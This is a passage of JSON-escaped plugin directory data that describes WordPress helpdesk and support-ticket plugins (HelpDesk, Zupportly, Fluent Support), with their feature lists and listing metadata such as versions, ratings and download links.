analytics\u003C\u002Fstrong>. Get valuable insights into your operations with robust reporting tools. Monitor key metrics like ticket volumes, response times, and resolution rates. Generate detailed reports to analyze support performance and identify areas for improvement.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Multichannel support\u003C\u002Fstrong>. Manage messages from multiple channels in one place. Whether email, live chat, or social media, HelpDesk centralizes all interactions, making handling and responding to visitors easier. Seamlessly integrate with various communication platforms for a unified support experience.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Visitor satisfaction\u003C\u002Fstrong>. Gather feedback with built-in satisfaction surveys to continuously improve your support services. Understand website visitors’ needs, address issues promptly, and raise satisfaction. Implement follow-up surveys to refine your strategies based on real-time feedback.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Integrations\u003C\u002Fstrong>. Connect with CRM systems, email marketing tools, and more to create a unified support ecosystem. Explore the HelpDesk Marketplace for additional apps and integrations that extend your ticketing system’s functionality.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Custom workflows\u003C\u002Fstrong>. Set up custom workflows that fit your unique business processes. Automate complex support tasks, streamline ticket handling, and maintain consistency across your team’s operations.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Security and compliance\u003C\u002Fstrong>. Keep your data secure with HelpDesk’s robust security features, including 256-bit SSL encryption and compliance with GDPR standards. Benefit from regular updates, data encryption, and compliance with industry standards to safeguard sensitive information.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>All \u003Ca href=\"https:\u002F\u002Fwww.helpdesk.com\u002Fticketing-system\u002F?utm_source=wordpress.org&utm_medium=integration&utm_campaign=plugin-listing\" rel=\"nofollow ugc\">HelpDesk ticket system features\u003C\u002Fa> are available for free for 14 days!\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Ready to make your work (and life) easier?\u003C\u002Fp>\n\u003Cp>Install the \u003Cstrong>WordPress contact form plugin by the HelpDesk ticket system\u003C\u002Fstrong> now and turn your contact form into a support powerhouse! Make helping effortless with advanced ticketing features.\u003C\u002Fp>\n\u003Ch3>Notes\u003C\u002Fh3>\n\u003Ch3>Requirements\u003C\u002Fh3>\n\u003Cp>The WordPress contact form plugin by the HelpDesk ticketing system is available to you for free for 14 days without any additional requirements except for the technical specifications listed at the beginning of this page.\u003C\u002Fp>\n\u003Ch3>Localization\u003C\u002Fh3>\n\u003Cp>The WordPress contact form plugin by the HelpDesk ticketing system is currently available in English. However, you can translate the plugin into any language at \u003Ca href=\"https:\u002F\u002Ftranslate.wordpress.org\u002F\" rel=\"nofollow ugc\">translate.wordpress.org\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>Partner with HelpDesk\u003C\u002Fh3>\n\u003Cp>Want to open a HelpDesk account for a client? Check our \u003Ca href=\"https:\u002F\u002Fpartners.livechat.com\u002F?utm_source=wordpress.org&utm_medium=integration&utm_campaign=helpdesk-plugin-listing\" rel=\"nofollow ugc\">Partner Program\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>Documentation and Support\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>For documentation and tutorials, visit our official \u003Ca href=\"https:\u002F\u002Fwww.helpdesk.com\u002Fhelp\u002F?utm_source=wordpress.org&utm_medium=integration&utm_campaign=plugin-listing\" rel=\"nofollow ugc\">help center\u003C\u002Fa>.\u003C\u002Fli>\n\u003Cli>Check out our \u003Ca href=\"https:\u002F\u002Fwww.helpdesk.com\u002F?utm_source=wordpress.org&utm_medium=integration&utm_campaign=plugin-listing\" rel=\"nofollow ugc\">official website\u003C\u002Fa> for more information about ticketing features.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>About us\u003C\u002Fh3>\n\u003Cp>We’re part of Text, a company focused on helping brands provide better customer service at scale by analyzing, enriching, and automating text communication. You can learn more at \u003Ca href=\"https:\u002F\u002Ftext.com\u002F?utm_source=wordpress.org&utm_medium=integration&utm_campaign=helpdesk-plugin-listing\" rel=\"nofollow ugc\">Text.com\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>In addition to HelpDesk, the Text ecosystem of products includes:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.livechat.com\u002F?utm_source=wordpress.org&utm_medium=integration&utm_campaign=helpdesk-plugin-listing\" rel=\"nofollow ugc\">LiveChat\u003C\u002Fa> – a communication tool that allows you to chat live with your customers.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fopenwidget.com\u002F?utm_source=wordpress.org&utm_medium=integration&utm_campaign=helpdesk-plugin-listing\" rel=\"nofollow ugc\">OpenWidget\u003C\u002Fa> – a versatile widget that integrates various communication tools into your website for enhanced customer interactions.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.chatbot.com\u002F?utm_source=wordpress.org&utm_medium=integration&utm_campaign=helpdesk-plugin-listing\" rel=\"nofollow ugc\">ChatBot\u003C\u002Fa> – a bot framework for AI chat bots.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.knowledgebase.com\u002F?utm_source=wordpress.org&utm_medium=integration&utm_campaign=helpdesk-plugin-listing\" rel=\"nofollow ugc\">KnowledgeBase\u003C\u002Fa> – a public help center widget\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fplatform.text.com\u002F?utm_source=wordpress.org&utm_medium=integration&utm_campaign=helpdesk-plugin-listing\" rel=\"nofollow ugc\">Open Messaging Platform\u003C\u002Fa> – create and monetize apps or build extensions for your own team.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Use of a Third-Party or External Service\u003C\u002Fh3>\n\u003Cp>The HelpDesk contact form relies on third-party services to function properly. They are used to:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Create an account with HelpDesk and log into HelpDesk in order to configure the contact form.\u003C\u002Fli>\n\u003Cli>Load the form’s embed script from HelpDesk to display the contact form on your website and in the WordPress admin panel.\u003C\u002Fli>\n\u003Cli>Load the form’s configuration and apply it to the form on your website.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>The URLs of the third-party services are:\u003Cbr \u002F>\n– https:\u002F\u002Fapp.helpdesk.com\u003Cbr \u002F>\n– https:\u002F\u002Fforms.helpdesk.com\u003Cbr \u002F>\n– https:\u002F\u002Fapi.helpdesk.com\u003Cbr \u002F>\n– https:\u002F\u002Faccounts.livechat.com\u003C\u002Fp>\n\u003Cp>The use of those services is regulated by our \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwww.helpdesk.com\u002Flegal\u002Fprivacy-policy\u002F\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003C\u002Fstrong> and \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwww.helpdesk.com\u002Flegal\u002Fterms-of-use\u002F\" rel=\"nofollow ugc\">Terms of Use\u003C\u002Fa>\u003C\u002Fstrong>.\u003C\u002Fp>\n","Use the WordPress contact form plugin by the HelpDesk ticket system to connect with visitors. Organize and manage messages — all without coding!",20,1999,4,"2026-01-14T11:36:00.000Z","4.6","6.1",[348,349,20,21,24],"contact-form","contact-page","https:\u002F\u002Fwww.helpdesk.com\u002Fintegrations\u002Fwordpress","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fhelpdesk-contact-form.1.1.6.zip",99,"2026-01-06 18:33:32",{"slug":355,"name":356,"version":357,"author":358,"author_profile":359,"description":360,"short_description":361,"active_installs":29,"downloaded":362,"rating":303,"num_ratings":49,"last_updated":363,"tested_up_to":16,"requires_at_least":364,"requires_php":18,"tags":365,"homepage":366,"download_link":367,"security_score":303,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":31},"zupportly","Zupportly – WordPress Helpdesk & Customer Support Ticket System","1.2","Anowar Hossain Rana","https:\u002F\u002Fprofiles.wordpress.org\u002Fahrana\u002F","\u003Cp>\u003Cstrong>Zupportly\u003C\u002Fstrong> is a powerful, free, and \u003Cstrong>self-hosted ticketing\u003C\u002Fstrong> solution that eliminates monthly fees and per-agent costs. It features \u003Cstrong>Unified Agent Management, Automated Ticket\u003C\u002Fstrong> Routing, and \u003Cstrong>Role-Based Access\u003C\u002Fstrong> Control to securely manage unlimited departments while providing customers a polished frontend portal to track requests. Built with a privacy-first architecture, \u003Cstrong>Zupportly is GDPR-ready\u003C\u002Fstrong>, ensuring all support data stays securely on your own server with 100% ownership and \u003Cstrong>no external tracking.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FCJRJZeUwlnY?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Ch4>Key features :\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Unified Agent System (WP User-Based)\u003C\u002Fli>\n\u003Cli>Front-end Customer Support Portal\u003C\u002Fli>\n\u003Cli>Intelligent Ticket Auto-Assignment\u003C\u002Fli>\n\u003Cli>Department-Specific Routing\u003C\u002Fli>\n\u003Cli>Read \u002F Unread tracking with ticket count badge on admin menu\u003C\u002Fli>\n\u003Cli>Custom Short Code For New Ticket Page\u003C\u002Fli>\n\u003Cli>Floating Support Chat Bubble\u003C\u002Fli>\n\u003Cli>Auto-refresh on open ticket view — polls every 15 seconds for new replies; shows a pulsing “New reply!” button when updates arrive.\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Priority levels — Low \u002F Medium \u002F High \u002F Urgent (set by agents only)\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Custom Agent Avatars & Display Names\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Live Agent Online Indicator\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Threaded Chat-Style Conversations\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Universal Ticket Transfer System\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Unique Ticket ID Tracking (ZT-XXXXXXXX)\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Automated Email Notification Engine\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Modern Card-Style Admin Dashboard\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Multi-Status Ticket Lifecycle Management\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Integrated Image Attachment Support\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Shortcode-Powered Ticket Lookup (\u003Ccode>[zupportly_tickets]\u003C\u002Fcode>)\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Inline Ticket Submission Form (\u003Ccode>[zupportly_ticket_form]\u003C\u002Fcode>) — embed on any page\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Full Admin Oversight & Team Stats\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Self-Hosted Data Security (No External APIs)\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Responsive UI\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Agent & Department Management\u003C\u002Fstrong>\u003Cbr \u002F>\n– Agents are standard WordPress users with the \u003Cstrong>Ticket Agent\u003C\u002Fstrong> role — create them from Users \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Add New.\u003Cbr \u002F>\n– Each agent gets a custom \u003Cstrong>Chat Bubble Display Name\u003C\u002Fstrong> (e.g. “Billing Dept”, “Sales Team”) shown to customers in the chat bubble — completely separate from their WordPress display name.\u003Cbr \u002F>\n– Upload a custom \u003Cstrong>avatar\u003C\u002Fstrong> per agent via the Settings page using the WordPress Media Library.\u003Cbr \u002F>\n– Avatars and department names appear in the chat bubble, ticket list, ticket detail view, and the frontend customer portal.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Chat Bubble\u003C\u002Fstrong>\u003Cbr \u002F>\n– A floating chat bubble appears on every page of your site, letting customers open a new support ticket in seconds.\u003Cbr \u002F>\n– The bubble header shows stacked agent avatars and a live green online indicator next to the “Support” label.\u003Cbr \u002F>\n– Customers choose a department\u002Fagent from a dropdown that shows the custom bubble display names.\u003Cbr \u002F>\n– The close (×) button reliably dismisses the form.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Ticket Lifecycle\u003C\u002Fstrong>\u003Cbr \u002F>\n– Every ticket gets a unique ID (e.g. ZT-XXXXXXXX) for easy reference and lookup.\u003Cbr \u002F>\n– Statuses: \u003Cstrong>New\u003C\u002Fstrong> (blue), \u003Cstrong>In Progress\u003C\u002Fstrong> (orange), \u003Cstrong>Solved\u003C\u002Fstrong> (green), \u003Cstrong>Closed\u003C\u002Fstrong> (grey).\u003Cbr \u002F>\n– Unlimited back-and-forth conversation with image attachments in every reply.\u003Cbr \u002F>\n– Both agents\u002Fadmins and customers can close tickets; closed tickets disable further replies.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Agent Assignment & Transfer\u003C\u002Fstrong>\u003Cbr \u002F>\n– Tickets submitted via the chat bubble are automatically assigned to the chosen agent.\u003Cbr \u002F>\n– Agents see all tickets assigned to them \u003Cstrong>plus\u003C\u002Fstrong> all unassigned tickets in their list.\u003Cbr \u002F>\n– When an agent replies to an unassigned ticket, it is automatically assigned to them.\u003Cbr \u002F>\n– Any agent or admin can transfer a ticket to another agent at any time via the Assignment meta box.\u003Cbr \u002F>\n– Once transferred, only the new assignee and admins can reply.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Admin Interface\u003C\u002Fstrong>\u003Cbr \u002F>\n– \u003Cstrong>Dashboard\u003C\u002Fstrong> — stats overview (total, new, in progress, solved, closed), recent tickets table, and team overview with open ticket counts per agent.\u003Cbr \u002F>\n– \u003Cstrong>All Tickets\u003C\u002Fstrong> — beautifully styled ticket list with card rows, colour-coded status border accents, ticket number chips, stacked customer info, agent avatars, and inline row actions.\u003Cbr \u002F>\n– \u003Cstrong>Ticket Detail\u003C\u002Fstrong> — structured details panel, chat-bubble conversation thread (agent right\u002Fblue, customer left\u002Fgreen), and a clean reply composer with image attachment support.\u003Cbr \u002F>\n– \u003Cstrong>Create Ticket\u003C\u002Fstrong> — agents and admins can create tickets on a customer’s behalf with an agent picker showing avatars.\u003Cbr \u002F>\n– \u003Cstrong>Settings\u003C\u002Fstrong> — unified agent table pulling directly from WordPress users; set the Chat Bubble Display Name and avatar per agent; configure the frontend Ticket View Page URL.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Frontend Customer Portal & Shortcodes\u003C\u002Fstrong>\u003Cbr \u002F>\n– Shortcode \u003Ccode>[zupportly_tickets]\u003C\u002Fcode> places a ticket lookup portal on any page. Customers enter their email to see all their tickets, or enter their email and ticket number to jump straight to a specific conversation.\u003Cbr \u002F>\n– Shortcode \u003Ccode>[zupportly_ticket_form]\u003C\u002Fcode> embeds the full ticket submission form directly on any page — great when the floating chat bubble is turned off or you want a dedicated contact\u002Fsupport page.\u003Cbr \u002F>\n– Modern card design with a gradient header, status pill, chat-style bubbles with agent avatars, and an inline reply input.\u003Cbr \u002F>\n– The ticket view is wider and fully responsive for mobile.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Email Notifications\u003C\u002Fstrong>\u003Cbr \u002F>\n– Agent notified on new ticket assignment with ticket details.\u003Cbr \u002F>\n– Customer receives confirmation on submission with their ticket number and a link to the view page.\u003Cbr \u002F>\n– Both parties notified on new replies (with image links if attached).\u003Cbr \u002F>\n– Ticket view page URL included in all notification emails.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Security & Performance\u003C\u002Fstrong>\u003Cbr \u002F>\n– All inputs sanitized and escaped. Nonces on every AJAX action.\u003Cbr \u002F>\n– Agents only access their own tickets plus unassigned ones — proper capability checks throughout.\u003Cbr \u002F>\n– All data stored in your own WordPress database — nothing leaves your server.\u003C\u002Fp>\n\u003Ch3>⭐ Zupportly Pro — Take Your Helpdesk Further\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fcxrana.wordpress.com\u002F2026\u002F01\u002F07\u002Fzupportly\" rel=\"nofollow ugc\">Get Zupportly Pro \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan>\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Upgrade to \u003Cstrong>Zupportly Pro\u003C\u002Fstrong> and unlock a complete professional helpdesk suite built on top of everything you already have in the free version. No migration, no data loss — just more power.\u003C\u002Fp>\n\u003Ch4>🧩 Custom Form Fields\u003C\u002Fh4>\n\u003Cp>Add unlimited custom fields to your ticket form — short text, long text, dropdown, checkbox, number, and URL types. Drag and drop to reorder every field (including built-in fields like Name, Email, Subject) in any order you want. Rename any field label and set custom placeholder text. Custom field values are saved with every ticket and displayed in the admin ticket view.\u003C\u002Fp>\n\u003Ch4>📚 Knowledge Base\u003C\u002Fh4>\n\u003Cp>Create a full Knowledge Base with categorised articles and a professional article layout. A smart suggestion popup appears directly below the Subject field as customers type — showing matching articles before they submit, reducing your ticket volume. Helpful vote counters (👍 Yes \u002F 👎 No) track article usefulness. Agents can search KB articles from inside any ticket. Mark any WordPress Page or Post as a KB article with one click.\u003C\u002Fp>\n\u003Ch4>⚡ Canned Responses\u003C\u002Fh4>\n\u003Cp>Speed up replies with one-click pre-written responses. Agents can insert responses from a searchable modal filtered by category. Agents can also save their own personal responses directly from the reply composer — just write a reply and click “💾 Save Current Reply.”\u003C\u002Fp>\n\u003Ch4>🛒 WooCommerce Integration\u003C\u002Fh4>\n\u003Cp>Link WooCommerce orders and products to support tickets. Customers can search by Order ID when submitting a ticket. Agents see full order details, purchase history, and linked products in the ticket sidebar. Configurable agent access permissions — restrict order data to admins only if needed.\u003C\u002Fp>\n\u003Ch4>✉️ Branded HTML Emails\u003C\u002Fh4>\n\u003Cp>Replace plain-text notification emails with beautifully designed HTML emails. Upload your logo, choose a brand colour, customise the “From” name and footer text. Includes a live browser preview.\u003C\u002Fp>\n\u003Ch4>⏱ Ticket Auto-Close\u003C\u002Fh4>\n\u003Cp>Automatically close tickets that have been inactive for a configurable number of days. Sends a reminder email before closure. Choose which ticket statuses to apply auto-close to.\u003C\u002Fp>\n\u003Ch4>🔒 Private Notes\u003C\u002Fh4>\n\u003Cp>Agents can add internal-only notes to any ticket. Private notes are stored separately from the conversation thread and are never shown to customers.\u003C\u002Fp>\n\u003Ch4>⭐ CSAT Surveys\u003C\u002Fh4>\n\u003Cp>Automatically send a 1–5 star satisfaction survey when a ticket closes — via email and as an inline widget in the customer portal. Results appear in a WP Dashboard widget showing average score and per-star breakdown.\u003C\u002Fp>\n\u003Ch4>🔔 Auto-Refresh & Live Updates\u003C\u002Fh4>\n\u003Cp>Configurable auto-refresh keeps the dashboard and ticket list current. A Refresh button with a live unread count badge is added to the dashboard. Set the refresh interval (15–600 seconds) from Pro Settings.\u003C\u002Fp>\n\u003Ch4>🏷 Custom Ticket Statuses\u003C\u002Fh4>\n\u003Cp>Add unlimited custom statuses alongside the four built-in ones. Each status has a custom label, URL slug, and colour picker for visual clarity in the ticket list.\u003C\u002Fp>\n\u003Ch4>📋 Audit Trail & Activity Logs\u003C\u002Fh4>\n\u003Cp>Every action on every ticket is automatically logged — replies, status changes, assignments, private notes, auto-closes, and CSAT ratings. View per-ticket logs in the Activity Log meta box. Export as Excel\u002FCSV or print as PDF.\u003C\u002Fp>\n\u003Ch4>💾 Backup & Restore\u003C\u002Fh4>\n\u003Cp>One-click JSON export of all tickets and Pro settings. Import on any Zupportly site to restore or migrate data.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fcxrana.wordpress.com\u002F2026\u002F01\u002F07\u002Fzupportly\" rel=\"nofollow ugc\">\u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Get Zupportly Pro\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>\n","Complete WordPress Helpdesk & Customer Support Ticket System",360,"2026-03-17T00:32:00.000Z","6.0",[20,21,22,23,24],"https:\u002F\u002Fcxrana.wordpress.com\u002F2026\u002F01\u002F07\u002Fzupportly\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fzupportly.1.2.zip",{"slug":369,"name":370,"version":371,"author":372,"author_profile":373,"description":374,"short_description":375,"active_installs":11,"downloaded":376,"rating":377,"num_ratings":378,"last_updated":379,"tested_up_to":16,"requires_at_least":17,"requires_php":18,"tags":380,"homepage":385,"download_link":386,"security_score":387,"vuln_count":388,"unpatched_count":29,"last_vuln_date":389,"fetched_at":31},"fluent-support","Fluent Support – Helpdesk & Customer Support Ticket System","2.1.1","Shahjahan Jewel","https:\u002F\u002Fprofiles.wordpress.org\u002Ftechjewel\u002F","\u003Ch4>Super Fast, versatile, and feature-rich support and customer ticketing plugin for WordPress\u003C\u002Fh4>\n\u003Cp>Fluent Support is a versatile and feature-rich help desk and support plugin designed for WordPress. Helping you provide incredible support and manage customer queries right from your WordPress dashboard.\u003C\u002Fp>\n\u003Cp>Fluent Support can match the premium features of SaaS solutions like Zendesk, Help Scout or FreshDesk all within your WordPress site and witthout any growth-tax.\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FCqkgrF7JG5k?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cp>🔗 Official Website Link: \u003Ca href=\"https:\u002F\u002Ffluentsupport.com\u002F\" rel=\"nofollow ugc\">Official Website\u003C\u002Fa>\u003Cbr \u002F>\n🔗 Join Our FB Community: \u003Ca href=\"https:\u002F\u002Ffacebook.com\u002Fgroups\u002Ffluentsupport\" rel=\"nofollow ugc\">FluentSupport Facebook Group\u003C\u002Fa>\u003Cbr \u002F>\n🔗 Official 5 Minutes Guide: \u003Ca href=\"https:\u002F\u002Ffluentsupport.com\u002Ffluent-support-101\u002F\" rel=\"nofollow ugc\">Getting started in 5 minutes\u003C\u002Fa>\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F29NRuKkVSSI?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Ch4>Your Self-hosted Customer Support Desk in WordPress\u003C\u002Fh4>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Ffluentsupport.com\" rel=\"nofollow ugc\">Fluent Support\u003C\u002Fa> is a complete feature-rich customer support ticketing solution. It’s deemed as one of the simplest and fastest support ticketing plugins on WordPress by users.\u003C\u002Fp>\n\u003Cp>Manage your customer queries from different channels like contact form, support ticketing form, email, or from remote websites.\u003C\u002Fp>\n\u003Cp>Along with managing tickets, you can assign multiple agents with appropriate permission levels. Get detailed reports about your customers, agents, and increase the productivity of your overall customer support desk.\u003C\u002Fp>\n\u003Cp>From the ticket view, you can see a 360° view of your customers, including their previous tickets, address, purchase history, membership levels, etc. Your agents can focus on the real problems when they have all the data about a customer right inside the ticket.\u003C\u002Fp>\n\u003Cp>Fluent Support is a self-hosted support ticketing system with unlimited tickets, support agents, users, products, tags, etc. There are no limitations as you own your system and data.\u003C\u002Fp>\n\u003Ch4>Support FEATURES Every Business Needs\u003C\u002Fh4>\n\u003Cp>\u003Cstrong>All-in-One Customer Support Solution\u003C\u002Fstrong>\u003Cbr \u002F>\nWith Fluent Support, you can centralize your customer support to track and respond to them efficiently. You can also keep your customers’ additional data, notes and track their overall stats.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Multi-Channel Support Ticketing System: Bring customer support wherever your customers are with a Multi-Channel Support Ticketing System.\u003C\u002Fli>\n\u003Cli>Super fast and rich filter based support ticket management: Simplify support process with super fast and rich filter based ticket management.\u003C\u002Fli>\n\u003Cli>Track waiting times for your overall tickets: Respond to support tickets by tracking waiting time, so customers are satisfied from the get-go.\u003C\u002Fli>\n\u003Cli>Fluent Support scales with your business, be it more tickets, agents or customers. Pay a fixed price and avail all features without any hidden costs or paid add-ons. \u003Cstrong>We don’t believe in Add-ons.\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Customer Support Portal\u003C\u002Fstrong>\u003Cbr \u002F>\nYour customers can open a support ticket from your website or use your website’s contact form. Customers can view all their previous tickets when they log on to your site. For public users, they can respond to a ticket by using a unique signed secure link so you can serve both public users and logged-in users.\u003C\u002Fp>\n\u003Cp>We’ve made \u003Cstrong>design improvements\u003C\u002Fstrong> and a whole new customizable block so your ticket portal looks as you need it. Make your support portal truly your own with a fully customizable portal with block editing enabled.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Ticket Segmentation and Reporting\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Ability to segment tickets by Product: Find tickets fast using effective segmentation such as sorting by Products.\u003C\u002Fli>\n\u003Cli>Ability to segment tickets by Inbox: Sort tickets for specific Business if you have multiple inboxes added to Fluent Support.\u003C\u002Fli>\n\u003Cli>Customers can set the priority: Let customers set the Priority for their queries to better understand what needs attention.\u003C\u002Fli>\n\u003Cli>Admin\u002FSupport Agent can set the priority of a ticket: Agents can set their own Priorities so no support ticket goes missing or slips through.\u003C\u002Fli>\n\u003Cli>Adding note for internal use for a ticket: Save additional context for the new agent or ticket with Internal notes.\u003C\u002Fli>\n\u003Cli>Get detailed reports of your support agents and customers: Measure customer support performance at a glance and with unparalleled granularity.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>AI-Powered Customer Support (PRO)\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Fluent Support integrates OpenAI to enhance your customer support. These usages save time, improve communication, and improve your team’s performance.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Generate AI-crafted responses for efficiency.\u003C\u002Fli>\n\u003Cli>Choose Responses from suggested drafts.\u003C\u002Fli>\n\u003Cli>Customize prompts and fine-tune replies to match your brand’s voice.\u003C\u002Fli>\n\u003Cli>Quickly summarize messages to understand queries faster.\u003C\u002Fli>\n\u003Cli>Analyze the message tone to respond appropriately.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>🎉 Out-of-the-box Productivity Tools\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Custom Automated and Manual workflows\u003C\u002Fli>\n\u003Cli>Send a response to multiple support tickets at once. Very useful for similar queries.\u003C\u002Fli>\n\u003Cli>Close support tickets by filtering tickets that are older than 20 days (as an example).\u003C\u002Fli>\n\u003Cli>Agent Permissions: Control agents access to tickets, profiles and admin panel for complete control.\u003C\u002Fli>\n\u003Cli>Quickly edit a customer’s info from the ticket page or add a note for later usage.\u003C\u002Fli>\n\u003Cli>Get notified when multiple agents are engaging the same ticket.\u003C\u002Fli>\n\u003Cli>Saved replies allow you to reduce time spent with generic responses and frequent support ticket issues.\u003C\u002Fli>\n\u003Cli>Mention agents to specific tickets to get the right people involved.\u003C\u002Fli>\n\u003Cli>GitHub style Activity heatmap for the busiest support days for your team. Includes all support tickets submitted over a selected period of time.\u003C\u002Fli>\n\u003Cli>Manual Time Tracking for tracking time spent on tickets and premium support.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Built for Speed & Productivity\u003C\u002Fstrong>\u003Cbr \u002F>\nFluent Support is built to save time and make your customer support experience more pleasant. Built on top of VueJS & REST API as a Single Page Application, it’s one of the fastest customer ticketing systems available on WordPress.\u003C\u002Fp>\n\u003Cp>For each page transition, it does not load the full page. It only fetches the required data over AJAX and loads your UI instantly. It’s like magic (thanks to VueJS and REST API). We also made the UX super friendly, easy, and simple so your agents can get started within a couple of hours.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Fully Self-hosted and Open Source\u003C\u002Fstrong>\u003Cbr \u002F>\nWith a complete GPL codebase and self-hosted system, Fluent Support is ready for any customization you may need. Explore the __ number of API end-points and hooks to build anything, including\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Custom dashboards\u003C\u002Fli>\n\u003Cli>Fully customizable ticket forms\u003C\u002Fli>\n\u003Cli>Host support portal on \u003Cstrong>headless\u003C\u002Fstrong> subdomain\u003C\u002Fli>\n\u003Cli>Setup custom self-managed email parser\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Fully GDPR 